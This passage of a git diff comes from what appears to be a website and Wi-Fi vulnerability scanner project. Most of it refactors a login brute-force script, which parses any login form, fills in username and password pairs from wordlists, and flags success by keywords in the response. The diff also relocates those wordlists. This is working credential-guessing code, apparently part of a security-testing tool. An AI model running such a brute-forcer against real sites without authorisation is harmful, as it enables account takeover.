diff --git a/app.py b/app.py index 13057f0..839ebcf 100644 --- a/app.py +++ b/app.py @@ -38,7 +38,6 @@ process_rogue_data_for_json ) from scripts.wifi_report import wifi_vuln_report - from werkzeug.utils import secure_filename import uuid import zipfile @@ -994,7 +993,7 @@ def website_scanner(): status = "Safe" print( - f"DEBUG: Adding result - Type: {res_type}, Status: {status}, Payload: {str(res)[:50]}...") + f"DEBUG: Adding result - Payload: {str(res)[:50]}...") current_results_list.append({ "type": res_type, "status": status, diff --git a/scripts/login_bruteforce.py b/scripts/payload_texts/login_bruteforce.py similarity index 65% rename from scripts/login_bruteforce.py rename to scripts/payload_texts/login_bruteforce.py index 2430542..3f2fecb 100644 --- a/scripts/login_bruteforce.py +++ b/scripts/payload_texts/login_bruteforce.py @@ -5,23 +5,8 @@ from urllib.parse import urljoin def brute_force_login(page_url, session): - """ - Attempts brute-force login by: - - Parsing the form dynamically - - Building the correct form action URL - - Submitting username/password combos - - Args: - page_url (str): The URL where the login form is located. - session (requests.Session): Active session to maintain state. - - Returns: - tuple or None: (username, password) if successful; else None. - """ - print(f"[*] Starting brute-force login on: {page_url}") - - # Step 1: Fetch and parse the login page + try: resp = session.get(page_url, timeout=10) soup = BeautifulSoup(resp.text, "html.parser") @@ -29,18 +14,17 @@ def brute_force_login(page_url, session): print(f"[!] Failed to load login page: {e}") return None - # Step 2: Find form form = soup.find("form") if not form: print("[-] No
found on the page.") return None - # Step 3: Resolve action and method action = form.get("action") + print(" action",action ) form_action = urljoin(page_url, action) if action else page_url + print("form action, ", form_action) method = form.get("method", "post").lower() - # Step 4: Extract input fields inputs = form.find_all("input") input_names = [i.get("name") for i in inputs if i.get("name")] @@ -58,32 +42,39 @@ def brute_force_login(page_url, session): print("[-] Username or password file not found.") return None - # Step 5: Brute-force all combos for username, password in product(usernames, passwords): data = {} - for name in input_names: - if "user" in name or "email" in name or "login" in name: + for tag in inputs: + name = tag.get("name") + if not name: + continue + # Fill based on name heuristics + if any(k in name.lower() for k in ["user", "email", "uid", "login"]): data[name] = username - elif "pass" in name: + elif any(k in name.lower() for k in ["pass", "pwd"]): data[name] = password else: - data[name] = "test" + data[name] = tag.get("value", "test") # Keep default or dummy print(f"Trying: {username} | {password}") try: if method == "post": - response = session.post(form_action, data=data) + response = session.post(form_action, data=data, timeout=10) else: - response = session.get(form_action, params=data) + response = session.get(form_action, params=data, timeout=10) + # Debugging output + if username == "admin" and password == "admin": + print(f"[DEBUG] Status: {response.status_code} | URL: {response.url}") + print(f"[DEBUG] Response Snippet:\n{response.text}\n") + text = response.text.lower() - # Heuristic to detect login success - if any(k in text for k in ["logout", "welcome", "dashboard", "you have logged in"]): + if any(k in text for k in ["logout", "welcome", "dashboard", "you have logged in", "hello"]): print(f"[+] Brute-force success: {username}:{password}") return (username, password) except Exception as e: - print(f"[!] Error for {username}:{password} → {e}") + print(f"[!] Error during attempt {username}:{password} → {e}") print("[-] No valid credentials found.") return None diff --git a/scripts/passwords.txt b/scripts/payload_texts/passwords.txt similarity index 100% rename from scripts/passwords.txt rename to scripts/payload_texts/passwords.txt diff --git a/scripts/usernames.txt b/scripts/payload_texts/usernames.txt similarity index 100% rename from scripts/usernames.txt rename to scripts/payload_texts/usernames.txt diff --git a/scripts/web_scanner.py b/scripts/web_scanner.py index 42dd9e7..2a48c83 100644 --- a/scripts/web_scanner.py +++ b/scripts/web_scanner.py @@ -5,11 +5,10 @@ import os import re from itertools import product -from scripts.login_bruteforce import brute_force_login +from scripts.payload_texts.login_bruteforce import brute_force_login from urllib.parse import urljoin - def create_session(): """ Creates and returns a new requests session with default headers. @@ -39,9 +38,10 @@ def parse_input_fields(url, session): try: response = session.get(url, headers=headers, timeout=10) + #print("response: ", response.text) soup = BeautifulSoup(response.text, "html.parser") - # --- Parse tags --- + # --- Parse tags (with or